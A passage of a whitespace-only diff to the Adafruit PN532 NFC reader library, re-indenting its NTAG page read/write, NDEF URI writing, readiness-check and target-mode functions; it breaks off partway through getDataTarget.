| 1314 | 1324 | #endif | |
| 1315 | 1325 | ||
| 1316 | − | /* Prepare the command */ | |
| 1317 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1318 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1319 | − | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 1320 | − | pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ | |
| 1326 | + | /* Prepare the command */ | |
| 1327 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1328 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1329 | + | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 1330 | + | pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ | |
| 1321 | 1331 | ||
| 1322 | − | /* Send the command */ | |
| 1323 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 1332 | + | /* Send the command */ | |
| 1333 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 1324 | 1334 | #ifdef MIFAREDEBUG | |
| 1325 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1335 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1326 | 1336 | #endif | |
| 1327 | − | return 0; | |
| 1328 | − | } | |
| 1337 | + | return 0; | |
| 1338 | + | } | |
| 1329 | 1339 | ||
| 1330 | − | /* Read the response packet */ | |
| 1331 | − | readdata(pn532_packetbuffer, 26); | |
| 1340 | + | /* Read the response packet */ | |
| 1341 | + | readdata(pn532_packetbuffer, 26); | |
| 1332 | 1342 | #ifdef MIFAREDEBUG | |
| 1333 | − | PN532DEBUGPRINT.println(F("Received: ")); | |
| 1334 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1343 | + | PN532DEBUGPRINT.println(F("Received: ")); | |
| 1344 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1335 | 1345 | #endif | |
| 1336 | 1346 | ||
| 1337 | − | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 1338 | − | if (pn532_packetbuffer[7] == 0x00) { | |
| 1339 | − | /* Copy the 4 data bytes to the output buffer */ | |
| 1340 | − | /* Block content starts at byte 9 of a valid response */ | |
| 1341 | − | /* Note that the command actually reads 16 byte or 4 */ | |
| 1342 | − | /* pages at a time ... we simply discard the last 12 */ | |
| 1343 | − | /* bytes */ | |
| 1344 | − | memcpy(buffer, pn532_packetbuffer + 8, 4); | |
| 1345 | − | } else { | |
| 1347 | + | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 1348 | + | if (pn532_packetbuffer[7] == 0x00) { | |
| 1349 | + | /* Copy the 4 data bytes to the output buffer */ | |
| 1350 | + | /* Block content starts at byte 9 of a valid response */ | |
| 1351 | + | /* Note that the command actually reads 16 byte or 4 */ | |
| 1352 | + | /* pages at a time ... we simply discard the last 12 */ | |
| 1353 | + | /* bytes */ | |
| 1354 | + | memcpy(buffer, pn532_packetbuffer + 8, 4); | |
| 1355 | + | } else { | |
| 1346 | 1356 | #ifdef MIFAREDEBUG | |
| 1347 | − | PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); | |
| 1348 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1357 | + | PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); | |
| 1358 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1349 | 1359 | #endif | |
| 1350 | − | return 0; | |
| 1351 | − | } | |
| 1360 | + | return 0; | |
| 1361 | + | } | |
| 1352 | 1362 | ||
| 1353 | 1363 | /* Display data for debug if requested */ | |
| 1354 | 1364 | #ifdef MIFAREDEBUG | |
| 1355 | − | PN532DEBUGPRINT.print(F("Page ")); | |
| 1356 | − | PN532DEBUGPRINT.print(page); | |
| 1357 | − | PN532DEBUGPRINT.println(F(":")); | |
| 1358 | − | Adafruit_PN532::PrintHexChar(buffer, 4); | |
| 1365 | + | PN532DEBUGPRINT.print(F("Page ")); | |
| 1366 | + | PN532DEBUGPRINT.print(page); | |
| 1367 | + | PN532DEBUGPRINT.println(F(":")); | |
| 1368 | + | Adafruit_PN532::PrintHexChar(buffer, 4); | |
| 1359 | 1369 | #endif | |
| 1360 | 1370 | ||
| 1361 | − | // Return OK signal | |
| 1362 | − | return 1; | |
| 1371 | + | // Return OK signal | |
| 1372 | + | return 1; | |
| 1363 | 1373 | } | |
| 1364 | 1374 | ||
| 1365 | 1375 | /**************************************************************************/ | |
| @@ -1375,50 +1385,51 @@ uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) { | |||
| 1375 | 1385 | */ | |
| 1376 | 1386 | /**************************************************************************/ | |
| 1377 | 1387 | uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) { | |
| 1378 | − | // TAG Type PAGES USER START USER STOP | |
| 1379 | − | // -------- ----- ---------- --------- | |
| 1380 | − | // NTAG 203 42 4 39 | |
| 1381 | − | // NTAG 213 45 4 39 | |
| 1382 | − | // NTAG 215 135 4 129 | |
| 1383 | − | // NTAG 216 231 4 225 | |
| 1384 | − | ||
| 1385 | − | if ((page < 4) || (page > 225)) { | |
| 1388 | + | // TAG Type PAGES USER START USER STOP | |
| 1389 | + | // -------- ----- ---------- --------- | |
| 1390 | + | // NTAG 203 42 4 39 | |
| 1391 | + | // NTAG 213 45 4 39 | |
| 1392 | + | // NTAG 215 135 4 129 | |
| 1393 | + | // NTAG 216 231 4 225 | |
| 1394 | + | ||
| 1395 | + | if ((page < 4) || (page > 225)) { | |
| 1386 | 1396 | #ifdef MIFAREDEBUG | |
| 1387 | − | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1397 | + | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1388 | 1398 | #endif | |
| 1389 | − | // Return Failed Signal | |
| 1390 | − | return 0; | |
| 1391 | − | } | |
| 1399 | + | // Return Failed Signal | |
| 1400 | + | return 0; | |
| 1401 | + | } | |
| 1392 | 1402 | ||
| 1393 | 1403 | #ifdef MIFAREDEBUG | |
| 1394 | − | PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); | |
| 1395 | − | PN532DEBUGPRINT.println(page); | |
| 1404 | + | PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); | |
| 1405 | + | PN532DEBUGPRINT.println(page); | |
| 1396 | 1406 | #endif | |
| 1397 | 1407 | ||
| 1398 | − | /* Prepare the first command */ | |
| 1399 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1400 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1401 | − | pn532_packetbuffer[2] = | |
| 1402 | − | MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ | |
| 1403 | − | pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ | |
| 1404 | − | memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ | |
| 1405 | − | ||
| 1406 | − | /* Send the command */ | |
| 1407 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { | |
| 1408 | + | /* Prepare the first command */ | |
| 1409 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1410 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1411 | + | pn532_packetbuffer[2] = | |
| 1412 | + | MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 | |
| 1413 | + | */ | |
| 1414 | + | pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ | |
| 1415 | + | memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ | |
| 1416 | + | ||
| 1417 | + | /* Send the command */ | |
| 1418 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { | |
| 1408 | 1419 | #ifdef MIFAREDEBUG | |
| 1409 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1420 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1410 | 1421 | #endif | |
| 1411 | 1422 | ||
| 1412 | − | // Return Failed Signal | |
| 1413 | − | return 0; | |
| 1414 | − | } | |
| 1415 | − | delay(10); | |
| 1423 | + | // Return Failed Signal | |
| 1424 | + | return 0; | |
| 1425 | + | } | |
| 1426 | + | delay(10); | |
| 1416 | 1427 | ||
| 1417 | − | /* Read the response packet */ | |
| 1418 | − | readdata(pn532_packetbuffer, 26); | |
| 1428 | + | /* Read the response packet */ | |
| 1429 | + | readdata(pn532_packetbuffer, 26); | |
| 1419 | 1430 | ||
| 1420 | − | // Return OK Signal | |
| 1421 | − | return 1; | |
| 1431 | + | // Return OK Signal | |
| 1432 | + | return 1; | |
| 1422 | 1433 | } | |
| 1423 | 1434 | ||
| 1424 | 1435 | /**************************************************************************/ | |
| @@ -1438,86 +1449,87 @@ uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) { | |||
| 1438 | 1449 | /**************************************************************************/ | |
| 1439 | 1450 | uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, | |
| 1440 | 1451 | uint8_t dataLen) { | |
| 1441 | − | uint8_t pageBuffer[4] = {0, 0, 0, 0}; | |
| 1442 | − | ||
| 1443 | − | // Remove NDEF record overhead from the URI data (pageHeader below) | |
| 1444 | − | uint8_t wrapperSize = 12; | |
| 1445 | − | ||
| 1446 | − | // Figure out how long the string is | |
| 1447 | − | uint8_t len = strlen(url); | |
| 1448 | − | ||
| 1449 | − | // Make sure the URI payload will fit in dataLen (include 0xFE trailer) | |
| 1450 | − | if ((len < 1) || (len + 1 > (dataLen - wrapperSize))) | |
| 1451 | − | return 0; | |
| 1452 | − | ||
| 1453 | − | // Setup the record header | |
| 1454 | − | // See NFCForum-TS-Type-2-Tag_1.1.pdf for details | |
| 1455 | − | uint8_t pageHeader[12] = { | |
| 1456 | − | /* NDEF Lock Control TLV (must be first and always present) */ | |
| 1457 | − | 0x01, /* Tag Field (0x01 = Lock Control TLV) */ | |
| 1458 | − | 0x03, /* Payload Length (always 3) */ | |
| 1459 | − | 0xA0, /* The position inside the tag of the lock bytes (upper 4 = page | |
| 1460 | − | address, lower 4 = byte offset) */ | |
| 1461 | − | 0x10, /* Size in bits of the lock area */ | |
| 1462 | − | 0x44, /* Size in bytes of a page and the number of bytes each lock bit can | |
| 1463 | − | lock (4 bit + 4 bits) */ | |
| 1464 | − | /* NDEF Message TLV - URI Record */ | |
| 1465 | − | 0x03, /* Tag Field (0x03 = NDEF Message) */ | |
| 1466 | − | (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */ | |
| 1467 | − | 0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */ | |
| 1468 | − | 0x01, /* Type Length for the record type indicator */ | |
| 1469 | − | (uint8_t)(len + 1), /* Payload len */ | |
| 1470 | − | 0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */ | |
| 1471 | − | uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */ | |
| 1472 | − | }; | |
| 1473 | − | ||
| 1474 | − | // Write 12 byte header (three pages of data starting at page 4) | |
| 1475 | − | memcpy(pageBuffer, pageHeader, 4); | |
| 1476 | − | if (!(ntag2xx_WritePage(4, pageBuffer))) | |
| 1477 | − | return 0; | |
| 1478 | − | memcpy(pageBuffer, pageHeader + 4, 4); | |
| 1479 | − | if (!(ntag2xx_WritePage(5, pageBuffer))) | |
| 1480 | − | return 0; | |
| 1481 | − | memcpy(pageBuffer, pageHeader + 8, 4); | |
| 1482 | − | if (!(ntag2xx_WritePage(6, pageBuffer))) | |
| 1483 | − | return 0; | |
| 1484 | − | ||
| 1485 | − | // Write URI (starting at page 7) | |
| 1486 | − | uint8_t currentPage = 7; | |
| 1487 | − | char *urlcopy = url; | |
| 1488 | − | while (len) { | |
| 1489 | − | if (len < 4) { | |
| 1490 | − | memset(pageBuffer, 0, 4); | |
| 1491 | − | memcpy(pageBuffer, urlcopy, len); | |
| 1492 | − | pageBuffer[len] = 0xFE; // NDEF record footer | |
| 1493 | − | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1452 | + | uint8_t pageBuffer[4] = {0, 0, 0, 0}; | |
| 1453 | + | ||
| 1454 | + | // Remove NDEF record overhead from the URI data (pageHeader below) | |
| 1455 | + | uint8_t wrapperSize = 12; | |
| 1456 | + | ||
| 1457 | + | // Figure out how long the string is | |
| 1458 | + | uint8_t len = strlen(url); | |
| 1459 | + | ||
| 1460 | + | // Make sure the URI payload will fit in dataLen (include 0xFE trailer) | |
| 1461 | + | if ((len < 1) || (len + 1 > (dataLen - wrapperSize))) | |
| 1494 | 1462 | return 0; | |
| 1495 | − | // DONE! | |
| 1496 | − | return 1; | |
| 1497 | − | } else if (len == 4) { | |
| 1498 | − | memcpy(pageBuffer, urlcopy, len); | |
| 1499 | − | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1463 | + | ||
| 1464 | + | // Setup the record header | |
| 1465 | + | // See NFCForum-TS-Type-2-Tag_1.1.pdf for details | |
| 1466 | + | uint8_t pageHeader[12] = { | |
| 1467 | + | /* NDEF Lock Control TLV (must be first and always present) */ | |
| 1468 | + | 0x01, /* Tag Field (0x01 = Lock Control TLV) */ | |
| 1469 | + | 0x03, /* Payload Length (always 3) */ | |
| 1470 | + | 0xA0, /* The position inside the tag of the lock bytes (upper 4 = page | |
| 1471 | + | address, lower 4 = byte offset) */ | |
| 1472 | + | 0x10, /* Size in bits of the lock area */ | |
| 1473 | + | 0x44, /* Size in bytes of a page and the number of bytes each lock bit | |
| 1474 | + | can lock (4 bit + 4 bits) */ | |
| 1475 | + | /* NDEF Message TLV - URI Record */ | |
| 1476 | + | 0x03, /* Tag Field (0x03 = NDEF Message) */ | |
| 1477 | + | (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */ | |
| 1478 | + | 0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) | |
| 1479 | + | */ | |
| 1480 | + | 0x01, /* Type Length for the record type indicator */ | |
| 1481 | + | (uint8_t)(len + 1), /* Payload len */ | |
| 1482 | + | 0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */ | |
| 1483 | + | uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */ | |
| 1484 | + | }; | |
| 1485 | + | ||
| 1486 | + | // Write 12 byte header (three pages of data starting at page 4) | |
| 1487 | + | memcpy(pageBuffer, pageHeader, 4); | |
| 1488 | + | if (!(ntag2xx_WritePage(4, pageBuffer))) | |
| 1500 | 1489 | return 0; | |
| 1501 | − | memset(pageBuffer, 0, 4); | |
| 1502 | − | pageBuffer[0] = 0xFE; // NDEF record footer | |
| 1503 | − | currentPage++; | |
| 1504 | − | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1490 | + | memcpy(pageBuffer, pageHeader + 4, 4); | |
| 1491 | + | if (!(ntag2xx_WritePage(5, pageBuffer))) | |
| 1505 | 1492 | return 0; | |
| 1506 | − | // DONE! | |
| 1507 | − | return 1; | |
| 1508 | − | } else { | |
| 1509 | − | // More than one page of data left | |
| 1510 | − | memcpy(pageBuffer, urlcopy, 4); | |
| 1511 | − | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1493 | + | memcpy(pageBuffer, pageHeader + 8, 4); | |
| 1494 | + | if (!(ntag2xx_WritePage(6, pageBuffer))) | |
| 1512 | 1495 | return 0; | |
| 1513 | − | currentPage++; | |
| 1514 | − | urlcopy += 4; | |
| 1515 | − | len -= 4; | |
| 1496 | + | ||
| 1497 | + | // Write URI (starting at page 7) | |
| 1498 | + | uint8_t currentPage = 7; | |
| 1499 | + | char *urlcopy = url; | |
| 1500 | + | while (len) { | |
| 1501 | + | if (len < 4) { | |
| 1502 | + | memset(pageBuffer, 0, 4); | |
| 1503 | + | memcpy(pageBuffer, urlcopy, len); | |
| 1504 | + | pageBuffer[len] = 0xFE; // NDEF record footer | |
| 1505 | + | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1506 | + | return 0; | |
| 1507 | + | // DONE! | |
| 1508 | + | return 1; | |
| 1509 | + | } else if (len == 4) { | |
| 1510 | + | memcpy(pageBuffer, urlcopy, len); | |
| 1511 | + | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1512 | + | return 0; | |
| 1513 | + | memset(pageBuffer, 0, 4); | |
| 1514 | + | pageBuffer[0] = 0xFE; // NDEF record footer | |
| 1515 | + | currentPage++; | |
| 1516 | + | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1517 | + | return 0; | |
| 1518 | + | // DONE! | |
| 1519 | + | return 1; | |
| 1520 | + | } else { | |
| 1521 | + | // More than one page of data left | |
| 1522 | + | memcpy(pageBuffer, urlcopy, 4); | |
| 1523 | + | if (!(ntag2xx_WritePage(currentPage, pageBuffer))) | |
| 1524 | + | return 0; | |
| 1525 | + | currentPage++; | |
| 1526 | + | urlcopy += 4; | |
| 1527 | + | len -= 4; | |
| 1528 | + | } | |
| 1516 | 1529 | } | |
| 1517 | − | } | |
| 1518 | 1530 | ||
| 1519 | − | // Seems that everything was OK (?!) | |
| 1520 | − | return 1; | |
| 1531 | + | // Seems that everything was OK (?!) | |
| 1532 | + | return 1; | |
| 1521 | 1533 | } | |
| 1522 | 1534 | ||
| 1523 | 1535 | /************** high level communication functions (handles both I2C and SPI) */ | |
| @@ -1528,16 +1540,16 @@ uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, | |||
| 1528 | 1540 | */ | |
| 1529 | 1541 | /**************************************************************************/ | |
| 1530 | 1542 | bool Adafruit_PN532::readack() { | |
| 1531 | − | uint8_t ackbuff[6]; | |
| 1543 | + | uint8_t ackbuff[6]; | |
| 1532 | 1544 | ||
| 1533 | − | if (spi_dev) { | |
| 1534 | − | uint8_t cmd = PN532_SPI_DATAREAD; | |
| 1535 | − | spi_dev->write_then_read(&cmd, 1, ackbuff, 6); | |
| 1536 | − | } else if (i2c_dev || ser_dev) { | |
| 1537 | − | readdata(ackbuff, 6); | |
| 1538 | − | } | |
| 1545 | + | if (spi_dev) { | |
| 1546 | + | uint8_t cmd = PN532_SPI_DATAREAD; | |
| 1547 | + | spi_dev->write_then_read(&cmd, 1, ackbuff, 6); | |
| 1548 | + | } else if (i2c_dev || ser_dev) { | |
| 1549 | + | readdata(ackbuff, 6); | |
| 1550 | + | } | |
| 1539 | 1551 | ||
| 1540 | − | return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6)); | |
| 1552 | + | return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6)); | |
| 1541 | 1553 | } | |
| 1542 | 1554 | ||
| 1543 | 1555 | /**************************************************************************/ | |
| @@ -1546,25 +1558,25 @@ bool Adafruit_PN532::readack() { | |||
| 1546 | 1558 | */ | |
| 1547 | 1559 | /**************************************************************************/ | |
| 1548 | 1560 | bool Adafruit_PN532::isready() { | |
| 1549 | − | if (spi_dev) { | |
| 1550 | − | // SPI ready check via Status Request | |
| 1551 | − | uint8_t cmd = PN532_SPI_STATREAD; | |
| 1552 | − | uint8_t reply; | |
| 1553 | − | spi_dev->write_then_read(&cmd, 1, &reply, 1); | |
| 1554 | − | return reply == PN532_SPI_READY; | |
| 1555 | − | } else if (i2c_dev) { | |
| 1556 | − | // I2C ready check via reading RDY byte | |
| 1557 | − | uint8_t rdy[1]; | |
| 1558 | − | i2c_dev->read(rdy, 1); | |
| 1559 | − | return rdy[0] == PN532_I2C_READY; | |
| 1560 | − | } else if (ser_dev) { | |
| 1561 | − | // Serial ready check based on non-zero read buffer | |
| 1562 | − | return (ser_dev->available() != 0); | |
| 1563 | − | } else if (_irq != -1) { | |
| 1564 | − | uint8_t x = digitalRead(_irq); | |
| 1565 | − | return x == 0; | |
| 1566 | − | } | |
| 1567 | − | return false; | |
| 1561 | + | if (spi_dev) { | |
| 1562 | + | // SPI ready check via Status Request | |
| 1563 | + | uint8_t cmd = PN532_SPI_STATREAD; | |
| 1564 | + | uint8_t reply; | |
| 1565 | + | spi_dev->write_then_read(&cmd, 1, &reply, 1); | |
| 1566 | + | return reply == PN532_SPI_READY; | |
| 1567 | + | } else if (i2c_dev) { | |
| 1568 | + | // I2C ready check via reading RDY byte | |
| 1569 | + | uint8_t rdy[1]; | |
| 1570 | + | i2c_dev->read(rdy, 1); | |
| 1571 | + | return rdy[0] == PN532_I2C_READY; | |
| 1572 | + | } else if (ser_dev) { | |
| 1573 | + | // Serial ready check based on non-zero read buffer | |
| 1574 | + | return (ser_dev->available() != 0); | |
| 1575 | + | } else if (_irq != -1) { | |
| 1576 | + | uint8_t x = digitalRead(_irq); | |
| 1577 | + | return x == 0; | |
| 1578 | + | } | |
| 1579 | + | return false; | |
| 1568 | 1580 | } | |
| 1569 | 1581 | ||
| 1570 | 1582 | /**************************************************************************/ | |
| @@ -1575,20 +1587,20 @@ bool Adafruit_PN532::isready() { | |||
| 1575 | 1587 | */ | |
| 1576 | 1588 | /**************************************************************************/ | |
| 1577 | 1589 | bool Adafruit_PN532::waitready(uint16_t timeout) { | |
| 1578 | − | uint16_t timer = 0; | |
| 1579 | − | while (!isready()) { | |
| 1580 | − | if (timeout != 0) { | |
| 1581 | − | timer += 10; | |
| 1582 | − | if (timer > timeout) { | |
| 1590 | + | uint16_t timer = 0; | |
| 1591 | + | while (!isready()) { | |
| 1592 | + | if (timeout != 0) { | |
| 1593 | + | timer += 10; | |
| 1594 | + | if (timer > timeout) { | |
| 1583 | 1595 | #ifdef PN532DEBUG | |
| 1584 | − | PN532DEBUGPRINT.println("TIMEOUT!"); | |
| 1596 | + | PN532DEBUGPRINT.println("TIMEOUT!"); | |
| 1585 | 1597 | #endif | |
| 1586 | − | return false; | |
| 1587 | − | } | |
| 1598 | + | return false; | |
| 1599 | + | } | |
| 1600 | + | } | |
| 1601 | + | delay(10); | |
| 1588 | 1602 | } | |
| 1589 | − | delay(10); | |
| 1590 | − | } | |
| 1591 | − | return true; | |
| 1603 | + | return true; | |
| 1592 | 1604 | } | |
| 1593 | 1605 | ||
| 1594 | 1606 | /**************************************************************************/ | |
| @@ -1600,28 +1612,28 @@ bool Adafruit_PN532::waitready(uint16_t timeout) { | |||
| 1600 | 1612 | */ | |
| 1601 | 1613 | /**************************************************************************/ | |
| 1602 | 1614 | void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) { | |
| 1603 | − | if (spi_dev) { | |
| 1604 | − | // SPI read | |
| 1605 | − | uint8_t cmd = PN532_SPI_DATAREAD; | |
| 1606 | − | spi_dev->write_then_read(&cmd, 1, buff, n); | |
| 1607 | − | } else if (i2c_dev) { | |
| 1608 | − | // I2C read | |
| 1609 | − | uint8_t rbuff[n + 1]; // +1 for leading RDY byte | |
| 1610 | − | i2c_dev->read(rbuff, n + 1); | |
| 1611 | − | for (uint8_t i = 0; i < n; i++) { | |
| 1612 | − | buff[i] = rbuff[i + 1]; | |
| 1615 | + | if (spi_dev) { | |
| 1616 | + | // SPI read | |
| 1617 | + | uint8_t cmd = PN532_SPI_DATAREAD; | |
| 1618 | + | spi_dev->write_then_read(&cmd, 1, buff, n); | |
| 1619 | + | } else if (i2c_dev) { | |
| 1620 | + | // I2C read | |
| 1621 | + | uint8_t rbuff[n + 1]; // +1 for leading RDY byte | |
| 1622 | + | i2c_dev->read(rbuff, n + 1); | |
| 1623 | + | for (uint8_t i = 0; i < n; i++) { | |
| 1624 | + | buff[i] = rbuff[i + 1]; | |
| 1625 | + | } | |
| 1626 | + | } else if (ser_dev) { | |
| 1627 | + | // Serial read | |
| 1628 | + | ser_dev->readBytes(buff, n); | |
| 1613 | 1629 | } | |
| 1614 | − | } else if (ser_dev) { | |
| 1615 | − | // Serial read | |
| 1616 | − | ser_dev->readBytes(buff, n); | |
| 1617 | − | } | |
| 1618 | 1630 | #ifdef PN532DEBUG | |
| 1619 | − | PN532DEBUGPRINT.print(F("Reading: ")); | |
| 1620 | − | for (uint8_t i = 0; i < n; i++) { | |
| 1621 | − | PN532DEBUGPRINT.print(F(" 0x")); | |
| 1622 | − | PN532DEBUGPRINT.print(buff[i], HEX); | |
| 1623 | − | } | |
| 1624 | − | PN532DEBUGPRINT.println(); | |
| 1631 | + | PN532DEBUGPRINT.print(F("Reading: ")); | |
| 1632 | + | for (uint8_t i = 0; i < n; i++) { | |
| 1633 | + | PN532DEBUGPRINT.print(F(" 0x")); | |
| 1634 | + | PN532DEBUGPRINT.print(buff[i], HEX); | |
| 1635 | + | } | |
| 1636 | + | PN532DEBUGPRINT.println(); | |
| 1625 | 1637 | #endif | |
| 1626 | 1638 | } | |
| 1627 | 1639 | ||
| @@ -1636,30 +1648,30 @@ void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) { | |||
| 1636 | 1648 | */ | |
| 1637 | 1649 | /**************************************************************************/ | |
| 1638 | 1650 | uint8_t Adafruit_PN532::AsTarget() { | |
| 1639 | − | pn532_packetbuffer[0] = 0x8C; | |
| 1640 | − | uint8_t target[] = { | |
| 1641 | − | 0x8C, // INIT AS TARGET | |
| 1642 | − | 0x00, // MODE -> BITFIELD | |
| 1643 | − | 0x08, 0x00, // SENS_RES - MIFARE PARAMS | |
| 1644 | − | 0xdc, 0x44, 0x20, // NFCID1T | |
| 1645 | − | 0x60, // SEL_RES | |
| 1646 | − | 0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES | |
| 1647 | − | 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0, | |
| 1648 | − | 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD | |
| 1649 | − | 0xff, 0xff, // SYSTEM CODE | |
| 1650 | − | 0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, | |
| 1651 | − | 0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES | |
| 1652 | − | 0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f, | |
| 1653 | − | 0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES | |
| 1654 | − | }; | |
| 1655 | − | if (!sendCommandCheckAck(target, sizeof(target))) | |
| 1656 | − | return false; | |
| 1651 | + | pn532_packetbuffer[0] = 0x8C; | |
| 1652 | + | uint8_t target[] = { | |
| 1653 | + | 0x8C, // INIT AS TARGET | |
| 1654 | + | 0x00, // MODE -> BITFIELD | |
| 1655 | + | 0x08, 0x00, // SENS_RES - MIFARE PARAMS | |
| 1656 | + | 0xdc, 0x44, 0x20, // NFCID1T | |
| 1657 | + | 0x60, // SEL_RES | |
| 1658 | + | 0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES | |
| 1659 | + | 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0, | |
| 1660 | + | 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD | |
| 1661 | + | 0xff, 0xff, // SYSTEM CODE | |
| 1662 | + | 0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, | |
| 1663 | + | 0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES | |
| 1664 | + | 0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f, | |
| 1665 | + | 0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES | |
| 1666 | + | }; | |
| 1667 | + | if (!sendCommandCheckAck(target, sizeof(target))) | |
| 1668 | + | return false; | |
| 1657 | 1669 | ||
| 1658 | − | // read data packet | |
| 1659 | − | readdata(pn532_packetbuffer, 8); | |
| 1670 | + | // read data packet | |
| 1671 | + | readdata(pn532_packetbuffer, 8); | |
| 1660 | 1672 | ||
| 1661 | − | int offset = 6; | |
| 1662 | − | return (pn532_packetbuffer[offset] == 0x15); | |
| 1673 | + | int offset = 6; | |
| 1674 | + | return (pn532_packetbuffer[offset] == 0x15); | |
| 1663 | 1675 | } | |
| 1664 | 1676 | /**************************************************************************/ | |
| 1665 | 1677 | /*! | |
| @@ -1671,27 +1683,27 @@ uint8_t Adafruit_PN532::AsTarget() { | |||
| 1671 | 1683 | */ | |
| 1672 | 1684 | /**************************************************************************/ | |
| 1673 | 1685 | uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) { | |
| 1674 | − | uint8_t length; | |
| 1675 | − | pn532_packetbuffer[0] = 0x86; | |
| 1676 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) { | |
| 1677 | − | PN532DEBUGPRINT.println(F("Error en ack")); | |
| 1678 | − | return false; | |
| 1679 | − | } | |
| 1680 | − | ||
| 1681 | − | // read data packet | |
| 1682 | − | readdata(pn532_packetbuffer, 64); | |
| 1683 | − | length = pn532_packetbuffer[3] - 3; | |
| 1684 | − | ||
| 1685 | − | // if (length > *responseLength) {// Bug, should avoid it in the reading | |
| 1686 | − | // target data | |
| 1687 | − | // length = *responseLength; // silent truncation... | |
| 1688 | − | //} | |
| 1689 | − | ||
| 1690 | − | for (int i = 0; i < length; ++i) { | |
| 1691 | − | cmd[i] = pn532_packetbuffer[8 + i]; | |
| 1692 | − | } | |
| 1693 | − | *cmdlen = length; | |
| 1694 | − | return true; | |
| 1686 | + | uint8_t length; | |
| 1687 | + | pn532_packetbuffer[0] = 0x86; | |
